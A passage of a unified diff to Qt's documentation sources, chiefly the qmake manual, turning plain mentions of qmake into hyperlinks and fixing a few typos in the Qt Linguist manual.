         This variable contains all windows libraries.The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_X11
    @@ -2701,7 +2701,7 @@
         \e {This is used on Unix platforms only.}
     
         This variable contains all X11 libraries.The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_X11SM
    @@ -2709,20 +2709,20 @@
         \e {This is used on Unix platforms only.}
     
         This variable contains all X11 session management libraries.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIB_FLAG
     
         This variable is not empty if the \c lib template is specified.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LINK_SHLIB_CMD
     
         This variable contains the command to execute when creating a
         shared library. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_POST_LINK
    @@ -2743,7 +2743,7 @@
     
         This variable contains the command to execute when creating a link
         to a shared library. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_MAC_SDK
    @@ -2764,26 +2764,26 @@
         \section1 QMAKE_MAKEFILE
     
         This variable contains the name of the Makefile to create. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_MOC_SRC
     
         This variable contains the names of all moc source files to
         generate and include in the project. The value of this variable is
    -    typically handled by \c qmake or
    +    typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_QMAKE
     
         This variable contains the location of qmake if it is not in the path.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_QT_DLL
     
         This variable is not empty if Qt was built as a dll.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_RESOURCE_FLAGS
    @@ -2813,37 +2813,37 @@
         \section1 QMAKE_RUN_CC
     
         This variable specifies the individual rule needed to build an object.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_RUN_CC_IMP
     
         This variable specifies the individual rule needed to build an object.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_RUN_CXX
     
         This variable specifies the individual rule needed to build an object.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_RUN_CXX_IMP
     
         This variable specifies the individual rule needed to build an object.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_TARGET
     
         This variable contains the name of the project target.  The value of
    -    this variable is typically handled by \c qmake or
    +    this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_UIC
     
         This variable contains the location of uic if it is not in the path.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         It can be used to specify arguments to uic as well, such as additional plugin
    @@ -2916,7 +2916,7 @@
         \section1 RC_FILE
     
         This variable contains the name of the resource file for the application.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target RCC_DIR
    @@ -2949,7 +2949,7 @@
         \section1 RES_FILE
     
         This variable contains the name of the resource file for the application.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target RSS_RULES
    @@ -3040,10 +3040,10 @@
     
         \section1 SRCMOC
     
    -    This variable is set by \c qmake if files can be found that
    +    This variable is set by \l {qmake}{ \c qmake}if files can be found that
         contain the Q_OBJECT macro.  \c SRCMOC contains the
         name of all the generated moc files. The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target SUBDIRS
    @@ -3059,7 +3059,7 @@
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 50
     
         It is essential that the project file in each subdirectory has the same
    -    name as the subdirectory itself, so that \c qmake can find it.
    +    name as the subdirectory itself, so that \l {qmake}{ \c qmake}can find it.
         For example, if the subdirectory is called \c myapp then the project file
         in that directory should be called \c myapp.pro.
     
    @@ -3191,19 +3191,19 @@
         \section1 TARGET_EXT
     
         This variable specifies the target's extension.  The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \section1 TARGET_x
     
         This variable specifies the target's extension with a major version number.  The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \section1 TARGET_x.y.z
     
         This variable specifies the target's extension with version number.  The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target TEMPLATE
    @@ -3251,14 +3251,14 @@
     
         This variable contains a list of the generated implementation files by UIC.
         The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \section1 UICOBJECTS
     
         This variable is generated from the UICIMPLS variable.  The extension of each
         file will have been replaced by .o (Unix) or .obj (Win32).  The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
    +    typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and
         rarely needs to be modified.
     
         \target UI_DIR
    @@ -3320,8 +3320,8 @@
     
         \section1 VPATH
     
    -    This variable tells \c qmake where to search for files it cannot
    -    open. With this you may tell \c qmake where it may look for things
    +    This variable tells \l {qmake}{ \c qmake}where to search for files it cannot
    +    open. With this you may tell \l {qmake}{ \c qmake}where it may look for things
         like SOURCES, and if it finds an entry in SOURCES that cannot be
         opened it will look through the entire VPATH list to see if it can
         find the file on its own.
    @@ -3331,13 +3331,13 @@
         \section1 YACCIMPLS
     
         This variable contains a list of yacc source files. The value of
    -    this variable is typically handled by \c qmake or
    +    this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 YACCOBJECTS
     
         This variable contains a list of yacc object files. The value of
    -    this variable is typically handled by \c qmake or
    +    this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target YACCSOURCES
    @@ -3378,7 +3378,7 @@
         \previouspage qmake Variable Reference
         \nextpage Configuring qmake's Environment
     
    -    \c qmake provides built-in functions to allow the contents of
    +    \l {qmake}{ \c qmake}provides built-in functions to allow the contents of
         variables to be processed, and to enable tests to be performed
         during the configuration process. Functions that process the
         contents of variables typically return values that can be assigned
    @@ -3449,7 +3449,7 @@
     
         \section1 error(string)
     
    -    This function never returns a value. \c qmake displays the given
    +    This function never returns a value. \l {qmake}{ \c qmake}displays the given
         \e string to the user, and exits. This function should only be used
         for unrecoverable errors.
     
    @@ -3525,7 +3525,7 @@
         \section1 infile(filename, var, val)
         [Conditional]
     
    -    Succeeds if the file \e filename (when parsed by \c qmake itself)
    +    Succeeds if the file \e filename (when parsed by \l {qmake}{ \c qmake}itself)
         contains the variable \e var with a value of \e val; otherwise fails.
         If you do not specify a third argument (\e val), the function will
         only test whether \e var has been declared in the file.
    @@ -3647,7 +3647,7 @@
         \target Properties
         \section1 Properties
     
    -    \c qmake has a system of persistent information, this allows you to
    +    \l {qmake}{ \c qmake}has a system of persistent information, this allows you to
         \c set a variable in qmake once, and each time qmake is invoked this
         value can be queried. Use the following to set a property in qmake:
     
    @@ -3669,19 +3669,19 @@
         version of \c qmake, and newer versions will retrieve this value. However,
         if you set \c VARIABLE for a newer version of \c qmake, the older version
         will not use this value. You can however query a specific version of a
    -    variable if you prefix that version of \c qmake to \c VARIABLE, as in
    +    variable if you prefix that version of \l {qmake}{ \c qmake}to \c VARIABLE, as in
         the following example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 76
     
    -    \c qmake also has the notion of \c builtin properties, for example you can
    -    query the installation of Qt for this version of \c qmake with the
    +    \l {qmake}{ \c qmake}also has the notion of \c builtin properties, for example you can
    +    query the installation of Qt for this version of \l {qmake}{ \c qmake}with the
         \c QT_INSTALL_PREFIX property:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 77
     
         These built-in properties cannot have a version prefixed to them as
    -    they are not versioned, and each version of \c qmake will have its own
    +    they are not versioned, and each version of \l {qmake}{ \c qmake}will have its own
         built-in set of these values. The list below outlines the built-in
         properties:
     
    @@ -3699,7 +3699,7 @@
         \target QMAKESPEC
         \section1 QMAKESPEC
     
    -    \c qmake requires a platform and compiler description file which
    +    \l {qmake}{ \c qmake}requires a platform and compiler description file which
         contains many default values used to generate appropriate Makefiles.
         The standard Qt distribution comes with many of these files, located
         in the \c mkspecs subdirectory of the Qt installation.
    @@ -3708,8 +3708,8 @@
     
         \list
         \o A complete path to a directory containing a \c{qmake.conf} file.
    -       In this case \c qmake will open the \c{qmake.conf} file from within that
    -       directory.  If the file does not exist, \c qmake will exit with an
    +       In this case \l {qmake}{ \c qmake}will open the \c{qmake.conf} file from within that
    +       directory.  If the file does not exist, \l {qmake}{ \c qmake}will exit with an
            error.
         \o The name of a platform-compiler combination. In this case, \c qmake
            will search in the directory specified by the \c mkspecs subdirectory
    @@ -3725,14 +3725,14 @@
     
         It is common on Unix to also use the build tool to install applications
         and libraries; for example, by invoking \c{make install}. For this reason,
    -    \c qmake has the concept of an install set, an object which contains
    +    \l {qmake}{ \c qmake}has the concept of an install set, an object which contains
         instructions about the way part of a project is to be installed.
         For example, a collection of documentation files can be described in the
         following way:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 79
     
    -    The \c path member informs \c qmake that the files should be installed in
    +    The \c path member informs \l {qmake}{ \c qmake}that the files should be installed in
         \c /usr/local/program/doc (the path member), and the \c files member
         specifies the files that should be copied to the installation directory.
         In this case, everything in the \c docs directory will be coped to
    @@ -3743,10 +3743,10 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 80
     
    -    \c qmake will ensure that the specified files are copied to the installation
    +    \l {qmake}{ \c qmake}will ensure that the specified files are copied to the installation
         directory. If you require greater control over this process, you can also
         provide a definition for the \c extra member of the object. For example,
    -    the following line tells \c qmake to execute a series of commands for this
    +    the following line tells \l {qmake}{ \c qmake}to execute a series of commands for this
         install set:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 81
    @@ -3761,21 +3761,21 @@
         in the other members of the object are performed.
     
         If you append a built-in install set to the \c INSTALLS variable and do
    -    not specify \c files or \c extra members, \c qmake will decide what needs to
    +    not specify \c files or \c extra members, \l {qmake}{ \c qmake}will decide what needs to
         be copied for you. Currently, the only supported built-in install set is
         \c target:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 82
     
    -    In the above lines, \c qmake knows what needs to be copied, and will handle
    +    In the above lines, \l {qmake}{ \c qmake}knows what needs to be copied, and will handle
         the installation process automatically.
     
         \target cache
         \section1 Cache File
     
    -    The cache file is a special file \c qmake reads to find settings not specified
    +    The cache file is a special file \l {qmake}{ \c qmake}reads to find settings not specified
         in the \c qmake.conf file, project files, or at the command line. If
    -    \c -nocache is not specified when \c qmake is run, it will try to find a file
    +    \c -nocache is not specified when \l {qmake}{ \c qmake}is run, it will try to find a file
         called \c{.qmake.cache} in parent directories of the current directory. If
         it fails to find this file, it will silently ignore this step of processing.
     
    @@ -3785,7 +3785,7 @@
         \target LibDepend
         \section1 Library Dependencies
     
    -    Often when linking against a library, \c qmake relies on the underlying
    +    Often when linking against a library, \l {qmake}{ \c qmake}relies on the underlying
         platform to know what other libraries this library links against, and
         lets the platform pull them in. In many cases, however, this is not
         sufficent. For example, when statically linking a library, no other
    @@ -3797,19 +3797,19 @@
         this behavior must be explicitly enabled by following two steps.
     
         The first step is to enable dependency tracking in the library itself.
    -    To do this you must tell \c qmake to save information about the library:
    +    To do this you must tell \l {qmake}{ \c qmake}to save information about the library:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 83
     
         This is only relevant to the \c lib template, and will be ignored for
    -    all others. When this option is enabled, \c qmake will create a file
    +    all others. When this option is enabled, \l {qmake}{ \c qmake}will create a file
         ending in .prl which will save some meta-information about the
         library. This metafile is just like an ordinary project file, but only
         contains internal variable declarations. You are free to view this file
    -    and, if it is deleted, \c qmake will know to recreate it when necessary,
    +    and, if it is deleted, \l {qmake}{ \c qmake}will know to recreate it when necessary,
         either when the project file is later read, or if a dependent library
         (described below) has changed. When installing this library, by
    -    specifying it as a target in an \c INSTALLS declaration, \c qmake will
    +    specifying it as a target in an \c INSTALLS declaration, \l {qmake}{ \c qmake}will
         automatically copy the .prl file to the installation path.
     
         The second step in this process is to enable reading of this meta
    @@ -3817,11 +3817,11 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 84
     
    -    When this is enabled, \c qmake will process all libraries linked to
    -    by the application and find their meta-information. \c qmake will use
    +    When this is enabled, \l {qmake}{ \c qmake}will process all libraries linked to
    +    by the application and find their meta-information. \l {qmake}{ \c qmake}will use
         this to determine the relevant linking information, specifically adding
         values to the application project file's list of \c DEFINES as well as
    -    \c LIBS. Once \c qmake has processed this file, it will then look through
    +    \c LIBS. Once \l {qmake}{ \c qmake}has processed this file, it will then look through
         the newly introduced libraries in the \c LIBS variable, and find their
         dependent .prl files, continuing until all libraries have been resolved.
         At this point, the Makefile is created as usual, and the libraries are
    @@ -3835,9 +3835,9 @@
         \target Extensions
         \section1 File Extensions
     
    -    Under normal circumstances \c qmake will try to use appropriate file extensions
    +    Under normal circumstances \l {qmake}{ \c qmake}will try to use appropriate file extensions
         for your platform. However, it is sometimes necessary to override the default
    -    choices for each platform and explicitly define file extensions for \c qmake to use.
    +    choices for each platform and explicitly define file extensions for \l {qmake}{ \c qmake}to use.
         This is achieved by redefining certain built-in variables; for example the extension
         used for \l moc files can be redefined with the following assignment in a project
         file:
    @@ -3863,19 +3863,19 @@
         accept a list of values:
     
         \list
    -    \o QMAKE_EXT_CPP - Causes \c qmake to interpret all files with these suffixes as
    +    \o QMAKE_EXT_CPP - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
                            C++ source files.
    -    \o QMAKE_EXT_H - Causes \c qmake to interpret all files with these suffixes as
    +    \o QMAKE_EXT_H - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
                          C and C++ header files.
         \endlist
     
         \target Customizing
         \section1 Customizing Makefile Output
     
    -    \c qmake tries to do everything expected of a cross-platform build tool.
    +    \l {qmake}{ \c qmake}tries to do everything expected of a cross-platform build tool.
         This is often less than ideal when you really need to run special
         platform-dependent commands. This can be achieved with specific instructions
    -    to the different \c qmake backends.
    +    to the different \l {qmake}{ \c qmake}backends.
     
         Customization of the Makefile output is performed through an object-style
         API as found in other places in \c qmake. Objects are defined automatically
    @@ -3883,14 +3883,14 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 86
     
    -    The definitions above define a \c qmake target called \c mytarget, containing
    +    The definitions above define a \l {qmake}{ \c qmake}target called \c mytarget, containing
         a Makefile target called \c{.buildfile} which in turn is generated with
         the \c touch command. Finally, the \c{.depends} member specifies that
         \c mytarget depends on \c mytarget2, another target that is defined afterwards.
         \c mytarget2 is a dummy target; it is only defined to echo some text to
         the console.
     
    -    The final step is to instruct \c qmake that this object is a target to be built:
    +    The final step is to instruct \l {qmake}{ \c qmake}that this object is a target to be built:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 87
     
    @@ -3953,7 +3953,7 @@
         \c NEW_HEADERS variable (from the \c input member), and the result is written
         to the file defined by the \c output member; this file is added to the
         other source files in the project.
    -    Additionally, \c qmake will execute \c depend_command to generate dependency
    +    Additionally, \l {qmake}{ \c qmake}will execute \c depend_command to generate dependency
         information, and place this information in the project as well.
     
         These commands can easily be placed into a cache file, allowing subsequent
    @@ -4077,9 +4077,9 @@
         \previouspage qmake Platform Notes
         \nextpage Using Precompiled Headers
     
    -    Many \c qmake project files simply describe the sources and header files used
    +    Many \l {qmake}{ \c qmake}project files simply describe the sources and header files used
         by the project, using a list of \c{name = value} and \c{name += value}
    -    definitions. \c qmake also provides other operators, functions, and scopes
    +    definitions. \l {qmake}{ \c qmake}also provides other operators, functions, and scopes
         that can be used to process the information supplied in variable declarations.
         These advanced features allow Makefiles to be generated for multiple platforms
         from a single project file.
    @@ -4091,7 +4091,7 @@
         In many project files, the assignment (\c{=}) and append (\c{+=}) operators can
         be used to include all the information about a project. The typical pattern of
         use is to assign a list of values to a variable, and append more values
    -    depending on the result of various tests. Since \c qmake defines certain
    +    depending on the result of various tests. Since \l {qmake}{ \c qmake}defines certain
         variables using default values, it is sometimes necessary to use the removal
         (\c{-=}) operator to filter out values that are not required. The following
         operators can be used to manipulate the contents of variables.
    @@ -4167,8 +4167,8 @@
         \snippet doc/src/snippets/qmake/scopes.pro 0
     
         The above code will add the \c paintwidget_win.cpp file to the sources listed
    -    in the generated Makefile if \c qmake is used on a Windows platform.
    -    If \c qmake is used on a platform other than Windows, the define will be
    +    in the generated Makefile if \l {qmake}{ \c qmake}is used on a Windows platform.
    +    If \l {qmake}{ \c qmake}is used on a platform other than Windows, the define will be
         ignored.
     
         The conditions used in a given scope can also be negated to provide an
    @@ -4263,9 +4263,9 @@
         \section1 Variables
     
         Many of the variables used in project files are special variables that
    -    \c qmake uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
    +    \l {qmake}{ \c qmake}uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
         and \c HEADERS. It is possible for you to create variables for your own
    -    use; \c qmake creates new variables with a given name when it encounters
    +    use; \l {qmake}{ \c qmake}creates new variables with a given name when it encounters
         an assignment to that name. For example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 97
    @@ -4292,10 +4292,10 @@
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 100
     
         Variables can be used to store the contents of environment variables.
    -    These can be evaluated at the time that \c qmake is run, or included
    +    These can be evaluated at the time that \l {qmake}{ \c qmake}is run, or included
         in the generated Makefile for evaluation when the project is built.
     
    -    To obtain the contents of an environment value when \c qmake is run,
    +    To obtain the contents of an environment value when \l {qmake}{ \c qmake}is run,
         use the \c $$(...) operator:
     
         \snippet doc/src/snippets/qmake/environment.pro 0
    @@ -4329,7 +4329,7 @@
         \target VariableProcessingFunctions
         \section1 Variable Processing Functions
     
    -    \c qmake provides a selection of built-in functions to allow the
    +    \l {qmake}{ \c qmake}provides a selection of built-in functions to allow the
         contents of variables to be processed. These functions process the
         arguments supplied to them and return a value, or list of values, as
         a result. In order to assign a result to a variable, it is necessary
    @@ -4357,7 +4357,7 @@
         \target ConditionalFunctions
         \section1 Conditional Functions
     
    -    \c qmake provides built-in functions that can be used as conditions
    +    \l {qmake}{ \c qmake}provides built-in functions that can be used as conditions
         when writing scopes. These functions do not return a value, but
         instead indicate "success" or "failure":
     
    @@ -4374,12 +4374,12 @@
     
         \section1 Adding New Configuration Features
     
    -    \c qmake lets you create your own \e features that can be included in
    +    \l {qmake}{ \c qmake}lets you create your own \e features that can be included in
         project files by adding their names to the list of values specified by
         the \c CONFIG variable. Features are collections of custom functions and
         definitions in \c{.prf} files that can reside in one of many standard
         directories. The locations of these directories are defined in a number
    -    of places, and \c qmake checks each of them in the following order when
    +    of places, and \l {qmake}{ \c qmake}checks each of them in the following order when
         it looks for \c{.prf} files:
     
         \list 1
    @@ -4416,7 +4416,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 103
     
    -    With this addition to the \c CONFIG variable, \c qmake will search the
    +    With this addition to the \c CONFIG variable, \l {qmake}{ \c qmake}will search the
         locations listed above for the \c myfeatures.prf file after it has
         finished parsing your project file. On Unix systems, it will look for
         the following file:
    @@ -4459,7 +4459,7 @@
         specified file. Each subsequent compilation is faster because the
         stable code does not need to be recompiled.
     
    -    \c qmake supports the use of precompiled headers (PCH) on some
    +    \l {qmake}{ \c qmake}supports the use of precompiled headers (PCH) on some
         platforms and build environments, including:
         \list
         \o Windows
    @@ -4505,9 +4505,9 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 105
     
    -    \c qmake will handle the rest, to ensure the creation and use of the
    +    \l {qmake}{ \c qmake}will handle the rest, to ensure the creation and use of the
         precompiled header file. You do not need to include the precompiled
    -    header file in \c HEADERS, as \c qmake will do this if the configuration
    +    header file in \c HEADERS, as \l {qmake}{ \c qmake}will do this if the configuration
         supports PCH.
     
         All platforms that support precompiled headers have the configuration
    @@ -4573,7 +4573,7 @@
         \nextpage qmake Common Projects
     
         This tutorial teaches you how to use \c qmake.  We recommend that
    -    you read the \c qmake user guide after completing this tutorial.
    +    you read the \l {qmake}{ \c qmake}user guide after completing this tutorial.
     
         \section1 Starting off Simple
     
    @@ -4591,7 +4591,7 @@
         the application is that it's written in Qt.  First, using your favorite
         plain text editor, create a file called \c hello.pro in
         \c{examples/qmake/tutorial}. The first thing you need to do is add the
    -    lines that tell \c qmake about the source and header files that are part
    +    lines that tell \l {qmake}{ \c qmake}about the source and header files that are part
         of your development project.
     
         We'll add the source files to the project file first.  To do this you
    @@ -4631,7 +4631,7 @@
     
         The final step is to set the \l{qmake Variable Reference#CONFIG}{CONFIG}
         variable. Since this is a Qt application, we need to put \c qt on the
    -    \c CONFIG line so that \c qmake will add the relevant libraries to be
    +    \c CONFIG line so that \l {qmake}{ \c qmake}will add the relevant libraries to be
         linked against and ensure that build lines for \c moc and \c uic are
         included in the generated Makefile.
     
    @@ -4639,14 +4639,14 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 113
     
    -    You can now use \c qmake to generate a Makefile for your application.
    +    You can now use \l {qmake}{ \c qmake}to generate a Makefile for your application.
         On the command line, in your project's directory, type the following:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 114
     
         Then type \c make or \c nmake depending on the compiler you use.
     
    -    For Visual Studio users, \c qmake can also generate \c .dsp or
    +    For Visual Studio users, \l {qmake}{ \c qmake}can also generate \c .dsp or
         \c .vcproj files, for example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 115
    @@ -4663,7 +4663,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 116
     
    -    Use \c qmake as before to generate a Makefile and you will be able to
    +    Use \l {qmake}{ \c qmake}as before to generate a Makefile and you will be able to
         obtain useful information about your application when running it in
         a debugging environment.
     
    @@ -4676,15 +4676,15 @@
         hellounix.cpp.  We can't just add these to the \c SOURCES
         variable since this will put both files in the Makefile. So, what we
         need to do here is to use a scope which will be processed depending on
    -    which platform \c qmake is run on.
    +    which platform \l {qmake}{ \c qmake}is run on.
     
         A simple scope that will add in the platform-dependent file for
         Windows looks like this:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 117
     
    -    So if \c qmake is run on Windows, it will add \c hellowin.cpp to the
    -    list of source files.  If \c qmake is run on any other platform, it
    +    So if \l {qmake}{ \c qmake}is run on Windows, it will add \c hellowin.cpp to the
    +    list of source files.  If \l {qmake}{ \c qmake}is run on any other platform, it
         will simply ignore it. Now all that is left to be done is to create a
         scope for the Unix-specific file.
     
    @@ -4693,13 +4693,13 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 118
     
    -    Use \c qmake as before to generate a Makefile.
    +    Use \l {qmake}{ \c qmake}as before to generate a Makefile.
     
         \section1 Stopping qmake If a File Doesn't Exist
     
         You may not want to create a Makefile if a certain file doesn't exist.
         We can check if a file exists by using the exists() function.  We can
    -    stop \c qmake from processing by using the error() function.  This
    +    stop \l {qmake}{ \c qmake}from processing by using the error() function.  This
         works in the same way as scopes do.  Simply replace the scope condition
         with the function. A check for a \c main.cpp file looks like this:
     
    @@ -4711,8 +4711,8 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 120
     
    -    Use \c qmake as before to generate a makefile.  If you rename \c
    -    main.cpp temporarily, you will see the message and \c qmake will stop
    +    Use \l {qmake}{ \c qmake}as before to generate a makefile.  If you rename \c
    +    main.cpp temporarily, you will see the message and \l {qmake}{ \c qmake}will stop
         processing.
     
         \section1 Checking for More than One Condition
    @@ -4746,7 +4746,7 @@
         \previouspage qmake Tutorial
         \nextpage Using qmake
     
    -    This chapter describes how to set up \c qmake project files for three
    +    This chapter describes how to set up \l {qmake}{ \c qmake}project files for three
         common project types that are based on Qt. Although all kinds of
         projects use many of the same variables, each of them use project-specific
         variables to customize output files.
    @@ -4765,7 +4765,7 @@
     
         \section2 The app Template
     
    -    The \c app template tells \c qmake to generate a Makefile that will build
    +    The \c app template tells \l {qmake}{ \c qmake}to generate a Makefile that will build
         an application. With this template, the type of application can be specified
         by adding one of the following options to the \c CONFIG variable definition:
     
    @@ -4776,7 +4776,7 @@
                            application.
         \endtable
     
    -    When using this template the following \c qmake system variables are recognized.
    +    When using this template the following \l {qmake}{ \c qmake}system variables are recognized.
         You should use these in your .pro file to specify information about your
         application.
     
    @@ -4802,7 +4802,7 @@
     
         You only need to use the system variables that you have values for,
         for instance, if you do not have any extra INCLUDEPATHs then you do not
    -    need to specify any, \c qmake will add in the default ones needed.
    +    need to specify any, \l {qmake}{ \c qmake}will add in the default ones needed.
         For instance, an example project file might look like this:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 123
    @@ -4818,7 +4818,7 @@
     
         \section2 The lib Template
     
    -    The \c lib template tells \c qmake to generate a Makefile that will
    +    The \c lib template tells \l {qmake}{ \c qmake}to generate a Makefile that will
         build a library.  When using this template, in addition to the system variables
         mentioned above for the \c app template the \c VERSION variable is
         supported.  You should use these in your .pro file to specify
    @@ -4849,7 +4849,7 @@
         \section1 Building a Plugin
     
         Plugins are built using the \c lib template, as described in the previous
    -    section. This tells \c qmake to generate a Makefile for the project that will
    +    section. This tells \l {qmake}{ \c qmake}to generate a Makefile for the project that will
         build a plugin in a suitable form for each platform, usually in the form of a
         library. As with ordinary libraries, the \c VERSION variable is used to specify
         information about the plugin.
    @@ -4887,7 +4887,7 @@
         ensure that the resulting targets have different names. Providing different
         names for targets ensures that one will not overwrite the other.
     
    -    When \c qmake processes the project file, it will generate a Makefile rule
    +    When \l {qmake}{ \c qmake}processes the project file, it will generate a Makefile rule
         to allow the project to be built in both modes. This can be invoked in the
         following way:
     
    diff --git a/doc/src/internationalization/linguist-manual.qdoc b/doc/src/internationalization/linguist-manual.qdoc
    index 440647f..1f413f9 100644
    --- a/doc/src/internationalization/linguist-manual.qdoc
    +++ b/doc/src/internationalization/linguist-manual.qdoc
    @@ -159,7 +159,7 @@
         \section1 Qt Project Files
     
         The easiest method to use \l{#lupdate} {lupdate} and \l{#lrelease}
    -    {lrelease} is by specifing a \c .pro Qt project file. There must
    +    {lrelease} is by specifying a \c .pro Qt project file. There must
         be an entry in the \c TRANSLATIONS section of the project file for
         each language that is additional to the native language. A typical
         entry looks like this:
    @@ -342,8 +342,8 @@
         the bottom of the main window. The phrases and guesses window
         shows possible translations for the current string. These
         translation "guesses" have been read from phrase books
    -    (\menu{Phrases|Open Phrase Book...}).  The current string's
    -    current translation is also shown here. To select a guess, double
    +    (\menu{Phrases|Open Phrase Book...}).  The current strings
    +    translation is also shown here. To select a guess, double
         click it in the phrases and guesses window or use the keyboard
         shortcut shown to the right of the guess.
     
    @@ -371,7 +371,7 @@
         subwindows are: \l{Context Window} {Context}, \l{Sources and Forms
         Window} {Sources and Forms}, \l{Strings Window} {Strings},
         \l{Phrases and Guesses Window} {Phrases and guesses}, and
